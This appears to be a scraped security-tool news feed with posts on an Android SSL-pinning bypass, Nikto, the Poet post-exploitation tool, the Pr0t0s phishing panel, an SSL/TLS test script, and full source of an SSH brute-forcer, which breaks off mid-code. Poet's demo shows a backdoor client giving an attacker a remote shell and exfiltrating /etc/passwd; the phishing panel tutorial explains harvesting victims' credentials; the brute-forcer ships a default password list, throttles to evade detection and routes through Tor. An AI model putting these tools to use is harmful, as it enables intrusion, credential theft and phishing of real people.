Quantcast
Channel: anon80 – Security List Network™
Viewing all 62 articles
Browse latest View live

SSLUnpinning : Android app to bypass SSL certificate validation (Certificate Pinning).

$
0
0

SSLUnpinning is a Android app to bypass SSL certificate validation (Certificate Pinning).
In high security enviroments SSL pinning is important as an additional security measure.

Description:
If you need intercept the traffic from one app who use certificate pinning, with a tool like Burp Proxy, the SSLUnpinning help you with this hard work! The SSLUnpinning through Cydia Substrate, make severous hooks in SSL classes to bypass the certificate verifications for one specific app, then you can intercept all your traffic.

Usage:
install Cydia Substrate in your test device (rooted device); https://play.google.com/store/apps/details?id=com.saurik.substrate
Download the APK available here https://github.com/ac-pm/SSLUnpinning or clone the project and compile;
Install SSLUnpinning.apk on a device with Cydia Substrate:

adb install SSLUnpinning.apk
SSLUnpinning will list the applications to choose from which will be bypassed;

Ok! Now you can intercept all traffic from the chosen app.
How to uninstall
adb uninstall SSLUnpinning.apk

Download :
SSLUnpinning.apk
Master.zip  | Clone Url
Source : https://github.com/ac-pm


Updates Nikto v-24.03.2015 : a web server assessment tool.

$
0
0

Changelog v-24.03.2015:
+ databases;
– Test for adminer.php
– Some changes to headers and support for X-Clacks-Overhead
– Additions to axis2 checks and fixes for jenkins/hudson
+ Plugin ; Add patch to stop reporting on / in robots.txt

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated..

nikto1
Features:
– Here are some of the major features of Nikto. See the documentation for a full list of features and how to use them.
– SSL Support (Unix with OpenSSL or maybe Windows with ActiveState’s
– Perl/NetSSL)
– Full HTTP proxy support
– Checks for outdated server components
– Save reports in plain text, XML, HTML, NBE or CSV
– Template engine to easily customize reports
– Scan multiple ports on a server, or multiple servers via input file (including nmap output)
– LibWhisker’s IDS encoding techniques
– Easily updated via command line
– Identifies installed software via headers, favicons and files
– Host authentication with Basic and NTLM
– Subdomain guessing
– Apache and cgiwrap username enumeration
– Mutation techniques to “fish” for content on web servers
– Scan tuning to include or exclude entire classes of vulnerability checks
– Guess credentials for authorization realms (including many default id/pw combos)
– Authorization guessing handles any directory, not just the root directory
– Enhanced false positive reduction via multiple methods: headers, page content, and content hashing
– Reports “unusual” headers seen
– Interactive status, pause and changes to verbosity settings
– Save full request/response for positive tests
– Replay saved positive requests
– Maximum execution time per target
– Auto-pause at a specified time
– Checks for common “parking” sites
– Logging to Metasploit
– Thorough documentation

Basic Usage:

Options:
       -ask+               Whether to ask about submitting updates
                               yes   Ask about each (default)
                               no    Don't ask, don't send
                               auto  Don't ask, just send
       -Cgidirs+           Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/"
       -config+            Use this config file
       -Display+           Turn on/off display outputs:
                               1     Show redirects
                               2     Show cookies received
                               3     Show all 200/OK responses
                               4     Show URLs which require authentication
                               D     Debug output
                               E     Display all HTTP errors
                               P     Print progress to STDOUT
                               S     Scrub output of IPs and hostnames
                               V     Verbose output
       -dbcheck           Check database and other key files for syntax errors
       -evasion+          Encoding technique:
                               1     Random URI encoding (non-UTF8)
                               2     Directory self-reference (/./)
                               3     Premature URL ending
                               4     Prepend long random string
                               5     Fake parameter
                               6     TAB as request spacer
                               7     Change the case of the URL
                               8     Use Windows directory separator (\)
                               A     Use a carriage return (0x0d) as a request spacer
                               B     Use binary value 0x0b as a request spacer
        -Format+           Save file (-o) format:
                               csv   Comma-separated-value
                               htm   HTML Format
                               msf+  Log to Metasploit
                               nbe   Nessus NBE format
                               txt   Plain text
                               xml   XML Format
                               (if not specified the format will be taken from the file extension passed to -output)
       -Help              Extended help information
       -host+             Target host
       -IgnoreCode        Ignore Codes--treat as negative responses
       -id+               Host authentication to use, format is id:pass or id:pass:realm
       -key+              Client certificate key file
       -list-plugins      List all available plugins, perform no testing
       -maxtime+          Maximum testing time per host
       -mutate+           Guess additional file names:
                               1     Test all files with all root directories
                               2     Guess for password file names
                               3     Enumerate user names via Apache (/~user type requests)
                               4     Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)
                               5     Attempt to brute force sub-domain names, assume that the host name is the parent domain
                               6     Attempt to guess directory names from the supplied dictionary file
       -mutate-options    Provide information for mutates
       -nointeractive     Disables interactive features
       -nolookup          Disables DNS lookups
       -nossl             Disables the use of SSL
       -no404             Disables nikto attempting to guess a 404 page
       -output+           Write output to this file ('.' for auto-name)
       -Pause+            Pause between tests (seconds, integer or float)
       -Plugins+          List of plugins to run (default: ALL)
       -port+             Port to use (default 80)
       -RSAcert+          Client certificate file
       -root+             Prepend root value to all requests, format is /directory
       -Save              Save positive responses to this directory ('.' for auto-name)
       -ssl               Force ssl mode on port
       -Tuning+           Scan tuning:
                               1     Interesting File / Seen in logs
                               2     Misconfiguration / Default File
                               3     Information Disclosure
                               4     Injection (XSS/Script/HTML)
                               5     Remote File Retrieval - Inside Web Root
                               6     Denial of Service
                               7     Remote File Retrieval - Server Wide
                               8     Command Execution / Remote Shell
                               9     SQL Injection
                               0     File Upload
                               a     Authentication Bypass
                               b     Software Identification
                               c     Remote Source Inclusion
                               x     Reverse Tuning Options (i.e., include all except specified)
       -timeout+          Timeout for requests (default 10 seconds)
       -Userdbs           Load only user databases, not the standard databases
                               all   Disable standard dbs and load only user dbs
                               tests Disable only db_tests and load udb_tests
       -until             Run until the specified time or duration
       -update            Update databases and plugins from CIRT.net
       -useproxy          Use the proxy defined in nikto.conf
       -Version           Print plugin and database versions
       -vhost+            Virtual host (for Host header)
              + requires a value

Download : nikto-master.zip (532 KB) 
cloning giit : https://github.com/sullo/nikto.git
source : https://cirt.net/Nikto2 our post before

Updates Poet v-0.4 – A simple POst-Exploitation Tool.

$
0
0

Change 27.03.2015:

+ Make client interval arg optional ; Give it a default value of 600s (10 min)

+ Overhaul build system and project structure
– Create src/ directory for client/server.py files and lib/ directory for
the shared code between them (PoetSocket). Finished products (zip
files) get put into auto-created build/ directory.
– Add a hierarchical build system with a top level Makefil and src level
Makefile. Now we also build a copy of a server.zip even though we don’t
really need to.

The client program runs on the target machine and is configured with an IP address (the server) to connect to and a frequency to connect at. If the server isn’t running when the client tries to connect, the client quietly sleeps and tries again at the next interval. If the server is running however, the attacker gets a control shell to control the client and perform various actions on the target including:
+ reconnaissance
+ remote shell
+ file exfiltration
+ download and execute
+ self destruct
usage :
Poet is super easy to use, and requires nothing more than the Python (2.7) standard library. To easily try it out, a typical invocation would look like:

Terminal 1: 

$ ./client.py -v 127.0.0.1 1

 Terminal 2:

$ sudo ./server.py

using the -h flag gives you the full usage.

$ ./client.py -h
usage: client.py [-h] [-p PORT] [-v] [-d] IP INTERVAL

positional arguments:
  IP                    server
  INTERVAL              (s)

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --verbose
  -d, --delete          delete client upon execution

$ ./server.py -h
usage: server.py [-h] [-p PORT]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT

DEMO :
The scenario is, an attacker has gotten access to the victim’s machine and downloaded and executed the client (in verbose mode ;). He/she does not have the server running at this point, but it’s ok, the client waits patiently. Eventually the attacker is ready and starts the server, first starting a shell and executing uname -a, then exfiltrating /etc/passwd. Then he/she exits and detaches from the client, which continues running on the target waiting for the next opportunity to connect to the server.
Victim’s Machine (5.4.3.2):

$ ./client.py -v 1.2.3.4 10
[+] Poet started with delay of 10 seconds to port 443. Ctrl-c to exit.
[!] (2014-09-06 02:07:03.058921) Server is inactive
[!] (2014-09-06 02:07:13.060840) Server is inactive
[!] (2014-09-06 02:07:23.062512) Server is inactive
[!] (2014-09-06 02:07:33.064214) Server is inactive
[+] (2014-09-06 02:07:43.066828) Server is active
[!] (2014-09-06 02:08:50.403668) Server is inactive
[!] (2014-09-06 02:09:00.405364) Server is inactive

 Attacker’s Machine (1.2.3.4):

# ./server.py
[+] Poet server started on 443.
[i] (2014-09-06 02:07:43.066092) Connected By: ('5.4.3.2', 62209)
[+] (2014-09-06 02:07:43.066531) Entering control shell
Welcome to psh, the poet shell!
Running `help' will give you a list of supported commands.
psh > shell
psh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
psh > user@server $ ^D
psh > exfil /etc/passwd
psh : exfil written to archive/20140906/exfil/passwd
psh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
psh > exit
[+] (2014-09-06 02:08:40.401181) Exiting control shell.
[-] (2014-09-06 02:08:40.401328) Poet terminated.

Download : master.zip | or Clone git | poet-client.zip | poet-sever.zip
Source : mossberg | Our Post Before

Pr0t0s released : Phishing Panel API.

$
0
0

The Phishig panel on the basis of the Tools panel backdoors programmed. The panel is designed for ease of use and range. 100% The error in the panel incur ONLY due to incorrect adjustment. The panel itself has NO more elements from the Tools panel doors no more than 80% were changed.

Pr0t0s : The Phishig panel on the basis of the Tools panel backdoors programmed.

Pr0t0s : The Phishig panel on the basis of the Tools panel backdoors programmed.

Feature Functions :
+ E-mail notification to any e-mail address with any SMTP server. (See Config.php)
+ Multi Tasking (More than just a phishing site available on an External Server)
+ Export function (export in 2 different formats)
+ IP Auto Trace + Country Flag 16×16 .gif
+ 100% stable.
+ No error output outside the internal area of ​​the panel.
+ Full configuration option.
+ The create specific Required hosts.
+ Choosing to be stored GET & POST parameters.
+ 100% SQLI safe.
+ Third-party usage excluded login by non Database.
+ Various statistics.

Tutorial :
+ The Config.php & mysql.php set! Open and read the file “inc / config.php” and enter search information there. You can set options where the e-mail. Then open the file “connect / mysql.php” and enter therein all MySQL data.
+ The create and use a host. To create a host under the tab “hosts” enter into the first field of an icon path. These pictures are uploaded under / img / Pictures /. If you have uploaded to the example Amazon.ico folder, enter in the first field: “Amazon.ico” (with large & small) a. Then comes persöhnliches your comment to host eg “Amazon phishing site” in the second field.
+ The set of GET & POST parameters. To adjust the parameters under “Settings” to select your desired host, then enter the name of the parameter, for example, “User” then the parameter name of the next Operaten eg “Password” and letzes the site to which the victim is to be weitergeleited eg “http://www.google.de/” (“http: //” & be. “Www” is required). Then confirm their details and your phishing site is registered.
+ Terms of creating a phishing site and enter the destination of the data, the following file: “http://www.IHREDOMAIN.de/gate.php?HostID=” Then the host ID of ihrers previously created Hosts “host” in the panel for example, “1”. The final link looks like this: “http://www.IHREDOMAIN.de/gate.php?HostID=1″. That is all, of course, the parameters passed with the specified parameters must match.
+ Service If you have objective and reasonable questions can be the user “Pr0t0s” in the forum have “Hackbase.cc” to get these issues.

The Latest Changes:
– The gate.php was around the $ _GET [‘ip’], expanding the user may not reflect the Panel must continue to be conducted, the phishing script can simply send the necessary parameters and even take care of this while the Vic to be forwarded. But is optional, so it can also be used as usual. a backup script what to upload your uploaded.to, a Bust / Own / hack still have the database via crontab every now and for the case of the database.
here and there, some pictures were displayed incorrectly was gefixxt.
– Add the hosts did not functioniert was gefixxt.
– the host.php also had to be cleaned up, believe it could have been so if at all only works in IE.

Download : Master.zip  | Clone Url
Source : https://github.com/lucidtrip

HTTPSScan – Shell script for testing the SSL/TLS Protocols

$
0
0

HTTPSScan is a Shell script for testing the SSL/TLS Protocols.

HTTPSScan is a Shell script for testing the SSL/TLS Protocols.

HTTPSScan is a Shell script for testing the SSL/TLS Protocols.

Check for SSL/TLS Vulnerabilities:
– SSLv2 (CVE-2011-1473)
– TLS CRIME (CVE-2012-4929)
– RC4 (CVE-2013-2566)
– Heartbleed (CVE-2014-0160)
– Poodle (CVE-2014-3566)
– FREAK (CVE-2015-0204)
– Weak Ciphers

Latest version-1.6:HeartBleed Added, code:

#!/usr/bin/env bash

# Script to test the most security flaws on a target SSL/TLS.
# Author:  Alexos (alexos at alexos dot org)
# Date:    03-05-2015
# Version: 1.0
#
# References:
# OWASP Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection 
# https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_%28OTG-CRYPST-001%29
# CVE-2011-1473
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1473
# CVE-2012-4929
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4929
# CVE-2013-2566
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2566
# CVE-2014-0160
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160
# CVE-2014-3566
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3566
# CVE-2015-0204
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0204
# Forward Secrecy
# http://blog.ivanristic.com/2013/06/ssl-labs-deploying-forward-secrecy.html
# Patching the SSL/TLS on Nginx and Apache Webservers
# http://alexos.org/2014/01/configurando-a-seguranca-do-ssl-no-apache-ou-nginx/

VERSION=1.6
clear

echo ":::    ::::::::::::::::::::::::::::::::::  ::::::::  ::::::::  ::::::::     :::    ::::    ::: "
echo ":+:    :+:    :+:        :+:    :+:    :+::+:    :+::+:    :+::+:    :+:  :+: :+:  :+:+:   :+: "
echo "+:+    +:+    +:+        +:+    +:+    +:++:+       +:+       +:+        +:+   +:+ :+:+:+  +:+ "
echo "+#++:++#++    +#+        +#+    +#++:++#+ +#++:++#+++#++:++#+++#+       +#++:++#++:+#+ +:+ +#+ "
echo "+#+    +#+    +#+        +#+    +#+              +#+       +#++#+       +#+     +#++#+  +#+#+# "
echo "#+#    #+#    #+#        #+#    #+#        #+#    #+##+#    #+##+#    #+##+#     #+##+#   #+#+ "
echo "###    ###    ###        ###    ###        ########  ########  ######## ###     ######    #### "
echo "V. $VERSION by Alexos Core Labs                                                        "

if [ $# -ne 2 ]; then
   echo Usage: $0 IP PORT
   exit
fi

HOST=$1
PORT=$2
TARGET=$HOST:$PORT
red=`tput setaf 1`
reset=`tput sgr0`

function ssl2 {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -ssl2 -connect "$TARGET" 2>/dev/null`"

proto=`echo "$ssl" | grep '^ *Protocol *:' | awk '{ print $3 }'`
cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`

if [ "$cipher" = '' ]; then
        echo 'Not vulnerable.  Failed to establish SSLv2 connection.'
else
        echo "Vulnerable!  SSLv2 connection established using $proto/$cipher"
fi
}

function crime {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -connect "$TARGET" 2>/dev/null`"
compr=`echo "$ssl" |grep 'Compression: ' | awk '{ print $2 } '`

if [ "$compr" = 'NONE' ]; then
        echo 'Not vulnerable. TLS Compression is not enabled.'
else
        echo "Vulnerable! Connection established using $compr compression."
fi
}

function rc4 {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -cipher RC4 -connect "$TARGET" 2>/dev/null`"
proto=`echo "$ssl" | grep '^ *Protocol *:' | awk '{ print $3 }'`
cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`
if [ "$cipher" = '' ]; then
echo 'Not vulnerable. Failed to establish RC4 connection.'
else
echo "Vulnerable! Connection established using $proto/$cipher"
fi
}

function heartbleed {
ssl="`echo "QUIT"|openssl s_client -connect "$TARGET" -tlsextdebug 2>&1|grep 'server extension "heartbeat" (id=15)' || echo safe 2>/dev/null`"

if [ "$ssl" = 'safe' ]; then
        echo 'The host is not vulnerable to Heartbleed attack.'
else
        echo "The host is vulnerable to Heartbleed attack."
fi
}

function poodle {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -ssl3 -connect "$TARGET" 2>/dev/null`"

proto=`echo "$ssl" | grep '^ *Protocol *:' | awk '{ print $3 }'`
cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`

if [ "$cipher" = '0000'  -o  "$cipher" = '(NONE)' ]; then
        echo 'Not vulnerable.  Failed to establish SSLv3 connection.'
else
        echo "Vulnerable!  SSLv3 connection established using $proto/$cipher"
fi
}

function freak {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -cipher EXPORT -connect "$TARGET" 2>/dev/null`"
cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`
if [ "$cipher" = '' ]; then
         echo 'Not vulnerable.  Failed to establish connection with an EXPORT cipher.'
else
         echo "Vulnerable! Connection established using $cipher"
fi
}

function null {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -cipher NULL -connect "$TARGET" 2>/dev/null`"
cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`
if [ "$cipher" = '' ]; then
         echo 'Not vulnerable.  Failed to establish connection with a NULL cipher.'
else
         echo "Vulnerable! Connection established using $cipher"
fi
}


function weak40 {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -cipher EXPORT40 -connect "$TARGET" 2>/dev/null`"

cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`

if [  "$cipher" = '' ]; then
        echo 'Not vulnerable. Failed to establish connection with 40 bit cipher.'
else
        echo "Vulnerable! Connection established using 40 bit cipher"
fi
}


function weak56 {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -cipher EXPORT56 -connect "$TARGET" 2>/dev/null`"

cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`

if [  "$cipher" = '' ]; then
        echo 'Not vulnerable. Failed to establish connection with 56 bit cipher.'
else
        echo "Vulnerable! Connection established using 56 bit cipher"
fi
}

function forward {
ssl="`echo 'Q' | ${timeout_bin:+$timeout_bin 5} openssl s_client -cipher 'ECDH:DH' -connect "$TARGET" 2>/dev/null`"

proto=`echo "$ssl" | grep '^ *Protocol *:' | awk '{ print $3 }'`
cipher=`echo "$ssl" | grep '^ *Cipher *:' | awk '{ print $3 }'`

if [ "$cipher" = ''  -o  "$cipher" = '(NONE)' ]; then
        echo 'Forward Secrecy is not enabled.'
else
        echo "Enabled! Established using $proto/$cipher"
fi
}
echo
echo [*] Analyzing SSL/TLS Vulnerabilities on $HOST:$PORT ...
echo
echo Generating Report...Please wait
echo
echo "{red}==> ${reset} Checking SSLv2 (CVE-2011-1473)"
echo
ssl2
echo
echo "${red}==> ${reset} Checking CRIME (CVE-2012-4929)"
echo
crime
echo
echo "${red}==> ${reset} Checking RC4 (CVE-2013-2566)"
echo
rc4
echo
echo "${red}==> ${reset} Checking Heartbleed (CVE-2014-0160)"
echo
heartbleed
echo
echo "${red}==> ${reset} Checking Poodle (CVE-2014-3566)"
echo
poodle
echo
echo "${red}==> ${reset} Checking FREAK (CVE-2015-0204)"
echo
freak
echo
echo "${red}==> ${reset}Checking NULL Cipher"
echo
null
echo
echo "${red}==> ${reset} Checking Weak Ciphers"
echo
weak40
echo
weak56
echo
echo "${red}==> ${reset}Checking Forward Secrecy"
echo
forward
echo
#echo
#echo [*] Checking Preferred Server Ciphers
#sslscan $HOST:$PORT > $LOGFILE
#cat $LOGFILE| sed '/Prefered Server Cipher(s):/,/^$/!d' | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"
#rm $LOGFILE
echo [*] done

 

Download : Master.zip  | Clone Url
Source : https://github.com/alexoslabs

The Cleveridge SSH Scanner is a SSH Brute Force tool written in python.

$
0
0

The Cleveridge SSH Scanner is a SSH Brute Force tool written in python. The tool tries to get access to machines (IPv4) on the SSH port (22). When the machines is accessible on port 22, the tool brute forces the ssh login with the most common default user names and passwords.
IMPORTANT NOTES:
+ This tool is for ethical testing purpose only.
+ Cleveridge and its owners can’t be held responsible for misuse by users.
+ Users have to act as permitted by local law rules

The tool offers you the options to attack:
– one IP
– a range of IP’s (e.g. 192.168.0.1-25)
– IP’s listed in a file

Tested:
At this moment the Cleveridge SSH Scanner is only tested in a Linux Kali environment with Python 2.7 installed.
The Cleveridge SSH Scanner is also successfully tested in combination with Proxychains 3.1 (http://proxychains.sourceforge.net/) and Tor (https://www.torproject.org/) to hide the ip of the user.

Source Code V0.04 build 012:

#!/usr/bin/python

#############################################################
# Script to Brute Force SSH access automatically, thr. TOR  #
# written by redN00ws @ Cleveridge                          #
#############################################################
#                                                           #
#        C l e v e r i d g e - Ethical Hacking Lab          #
#                 (https://cleveridge.org)                  #
#                                                           #
#############################################################
# Contribution from                                         #
#  - none yet                                               #
#############################################################
#                                                           #
version = "V0.04"
build = "012"
#############################################################

import pxssh
import getpass
import glob
import os
import socket
import sys
import time
from datetime import datetime
from urllib import urlopen

#++ FUNCTIONS //#

# func Writelog
def func_writelog(how, logloc, txt): # how: a=append, w=new write
   with open(logloc, how) as mylog:
      mylog.write(txt)


# func ScanHost
def func_scanhost(ip, logloc):
   # Log Scan
   txt = "\n*****************************\nScanning IP : %s" % (ip)
   func_writelog("a", logloc, txt + "\n")
   print txt
   
   # check if SSH-port is open
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   result = sock.connect_ex((ip, 22))
	
   if result == 0: # if SSH-port is open
      txt = "Port 22 (SSH) is accessible."
      func_writelog("a", logloc, txt + "\n")
      print txt
      found = False # default : credentials not found yet
      blocked = False # default : not blocked by victim host
      tried = 0
	   
      for usr in user: # run through all usernames
         if found == True: # if credentials were found with previous combination -> exit
            break
         
         if blocked == True: # if you are blocked by victim -> exit and go to next victim
            break
	      
         for pwd in pswd:  # run through all passwords for each username
            print('* Try %s:%s' % (usr, pwd)),
            time.sleep (500.0 / 1000.0) # slow down to prevent detection
            tried += 1
	         
            try: # try to connect
               s = pxssh.pxssh()
               s.login (hostname, usr, pwd)
               s.sendline ('uptime')   # run a command
               s.prompt()              # match the prompt
               print "@ %s     SUCCESS ***********" % (ip)
               print s.before          # print everything before the prompt.
               txt = '%s:%s @ %s     SUCCESS ************/n%s' % (usr, pwd, ip, s.before)
               func_writelog("a", logloc, txt + "\n")
               found = True
               break
            except Exception as ex: # can't connect with this credentials
               print "failed - "
               response = str(ex)
               print response
               if response == "could not synchronize with original prompt" or response == "could not set shell prompt" :
                  txt = 'Stopped due to Error response'
                  func_writelog('a', logloc, txt + '\n')
                  print txt
                  blocked = True
                  break
               elif response[:17] == "End Of File (EOF)" :
                  txt = 'Stopped due to blocked by victim'
                  func_writelog('a', logloc, txt + '\n')
                  print txt
                  blocked = True
                  break
      
      txt = "Tried " + str(tried) + " combinations"
      func_writelog("a", logloc, txt + "\n")
      print txt
                   	
               	
   else: # if SSH-port is closed
      txt = "Port 22 (SSH) is closed."
      func_writelog("a", logloc, txt + "\n")
      print txt

# func CheckIPrange
def func_checkIPrange(ip_range):
   print 'Checking IP range... ',
   reply = False
   posHyphen = ip_range.find('-')
   if int(posHyphen) > 6 and int(posHyphen) <= 15 :
      ip_first = ip_range[:posHyphen]
      ip_untill = ip_range[posHyphen +1:]
      ip_first_parts = ip_first.split('.')
      if len(ip_first_parts) == 4 :
         try :
            if (int(ip_first_parts[0]) < 257 and int(ip_first_parts[0]) >= 0) and (int(ip_first_parts[1]) < 257 and int(ip_first_parts[1]) >= 0) and (int(ip_first_parts[2]) < 257 and int(ip_first_parts[2]) >= 0) and (int(ip_first_parts[3]) < 257 and int(ip_first_parts[3]) >= 0) and (int(ip_untill) < 257 and int(ip_untill) >= 0):
               reply = True
         except Exception :
            #nothing
            print '.',
   
   print "Done"   
   return reply

# func Create IP list of range
def func_createIPlist(ip_range):
   print 'Creating IP list...',
   posHyphen = ip_range.find('-')
   ip_first = ip_range[:posHyphen]
   ip_untill = ip_range[posHyphen +1:]
   ip_first_parts = ip_first.split('.')
   ip_list = []
	
   for x in range(int(ip_first_parts[3]), int(ip_untill)+1):
      ip_list.append(str(ip_first_parts[0]) + '.' + str(ip_first_parts[1]) + '.' + str(ip_first_parts[2]) + '.' + str(x))
   print 'Done'
   return ip_list

# func Get files from /data directory
def func_getDataFiles():
   data_files = glob.glob("data/*")
   return data_files

# func fill Text with something
def func_fillText(item, times):
   txt = ""
   i = 0
   while i < int(times) :
      txt += str(item)
      i += 1
   return txt 
	
# func Show Data Files to attack
def func_printDataFileOptions(data_files):
   
   # If no files in default directory
   empty = False
   if data_files == False or len(data_files) == 0:
      empty = True
      	
   # Add files to menu options
   i = 1
   ops = {}
   for f in data_files :
      ops[i] = f
      i += 1
	
   # Add default items to menu options
   ops['e'] = "Exit Program"
	
   # Create Menu
   ln = []
   inner_length = 50
   ln.append(" *" + func_fillText("*", inner_length) + "*")
   ln.append(" * " + "Select a file from the data/ directory" + func_fillText(" ", inner_length-38-2) + " *") # inner_length-38-2 = inner_length - text_length - outside spaces
   ln.append(" *" + func_fillText("-", inner_length) + "*")
   
   if empty == True:
      ln.append(" * " + "Data directory is empty" + func_fillText(" ", inner_length-23-2) + " *")
      ln.append(" *" + func_fillText(" ", inner_length) + "*")
   
   for o in ops :
      o_txt = str(o) + " : " + str(ops[o])
   	
      # if text to long for menu
      if len(o_txt) > 45 :
         first = o_txt[:35]
         last = o_txt[-6:]
         o_txt = first + "..." + last
   		
      # file output
      ln.append(" * " + o_txt + func_fillText(" ", inner_length-len(o_txt)-2) + " *")
   	
   ln.append(" *" + func_fillText("*", inner_length) + "*")
	
   txt = "\n"
   for item in ln :
      txt = txt + str(item) + "\n"
	
   # return
   return txt

# func Exit
def func_exit():
   print "Exiting...\n\nThanks for using\nCleveridge SSH Scanner\n\nCleveridge : https://cleveridge.org/nSSH Scanner : https://github.com/Cleveridge/cleveridge-ssh-scanner"





#++ PROGRAM ++#
os.system('clear')
user = ["root", "admin", "sysadmin", "oracle", "webmaster"]
pswd = ["root", "toor", "admin", "000000", "1111", "111111", "11111111", "123", "123.com", "123123", "123123123", "1234", "12345", "123456", "1234567", "12345678", "123456789", "1234567890", "1234qwer", "123abc", "123qwe", "123qweasd", "147147", "1q2w3e", "1q2w3e4r", "1q2w3e4r5t", "1q2w3e4r5t6y", "1qaz2wsx", "1qaz2wsx3edc", "1qazxsw2", "abc123", "abc@123", "Admin@123", "P@ssw0rd", "Password1", "a123456", "admin1", "admin123", "admin@123", "adminadmin", "administrator", "changeme", "cisco", "cisco123", "default", "firewall", "letmein", "linux", "oracle", "p@ssw0rd", "passw0rd", "password", "q1w2e3r4", "q1w2e3r4t5", "qwerty", "r00t", "redhat", "root123", "rootpass", "rootroot", "server", "test", "test123", "zaq1xsw2"]

print "************************************************"
print "||            CLEVERIDGE SSH SCANNER          ||"
print "************************************************"
print "||  IMPORTANT:                                ||"
print "||  This tool is for ethical testing purpose  ||"
print "||  only.                                     ||"
print "||  Cleveridge and its owners can't be held   ||"
print "||  responsible for misuse by users.          ||"
print "||  Users have to act as permitted by local   ||"
print "||  law rules.                                ||"
print "************************************************"
print "||     Cleveridge - Ethical Hacking Lab       ||"
print "||               cleveridge.org               ||"
print "************************************************\n"
print "Version %s build %s" % (version, build)










"""
ON FIRST RUN : SETTING UP BASIC FILES AND FOLDERS
BEGIN:
"""

#-- Creating default log directory
logdir = "log"
if not os.path.exists(logdir):
   os.makedirs(logdir)
   txt = "Directory 'log/' created"
   print txt

""" Every run : create log file """
#-- Creating log file in directory 'log' --#
now = datetime.now()
logfile = str(now.year) + str(now.month) + str(now.day) + str(now.hour) + str(now.minute) + str(now.second) + ".log"
print "Creating log : log/%s" % (logfile),
logloc = logdir + "/" + logfile
with open(logloc, "w") as mylog:
   os.chmod(logloc, 0660)
   mylog.write("Log created by Cleveridge SSH Scanner - " + version + " build " + build + "\n\n")
   print ".... Done"
""" """

#-- Creating default configuration in directory 'cnf' --#
txt = "Checking configuration status"
func_writelog("a", logloc, txt + "\n")
print txt


# if no cnf directory -> Create
cnfdir = "cnf"
if not os.path.exists(cnfdir) :
   os.makedirs(cnfdir)
   txt = "Directory 'cnf/' created"
   func_writelog("a", logloc, txt + "\n")
   print txt
   

# if no user ip file in cnf -> create
file_userip = cnfdir + "/userip.cnf"
if not os.path.exists(file_userip) :
   with open(file_userip, "w") as myuserip :
      os.chmod(file_userip, 0660)
      myuserip.write("1.1.1.1")
      txt = "File 'userip.cnf' created in 'cnf/'"
      func_writelog("a", logloc, txt + "\n")
      print txt
      

# if default file directory not exist -> create
datadir = 'data'
if not os.path.exists(datadir) :
   os.makedirs(datadir)
   txt = "Directory 'data/' created"
   func_writelog("a", logloc, txt + "\n")
   print txt

"""
:END
ON FIRST RUN : SETTING UP BASIC FILES AND FOLDERS
"""







print " " # to create a better view of the logs on screen


#-- Register date and time of scan --#
txt = "Tool started : %s/%s/%s - %s:%s:%s" % (now.year, now.month, now.day, now.hour, now.minute, now.second)
func_writelog("a", logloc, txt + "\n\n")
print txt
print " "

#-- Verify users IP --#
print "Fill out your machines IP. This is the IP you want to hide!!"
print "If the IP is the same as the default, just hit [Enter]..."
with open(file_userip, 'r') as cont :
   content = cont.read()
   my_ip = raw_input("Your IP [" + content + "] : ") or content
with open(file_userip, 'w') as myuserip : # save new value
   myuserip.write(my_ip[:15]) # save not more then 15 chars
	

#-- Local IP --#
txt = "Local IP : " + [(s.connect(('8.8.8.8', 80)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
func_writelog("a", logloc, txt + "\n")
print txt

#-- Visible IP --#
try :
   visible_ip = urlopen('https://cleveridge.org/_exchange/open_files/return_ip.php?s=ssh_scan').read()
except Exception :
   visible_ip = urlopen('https://enabledns.com/ip').read()
txt = "Visible IP : " + visible_ip
func_writelog("a", logloc, txt + "\n")
print txt

#-- if private IP is visible
if visible_ip == my_ip: # if your real ip is visible -> Break up 
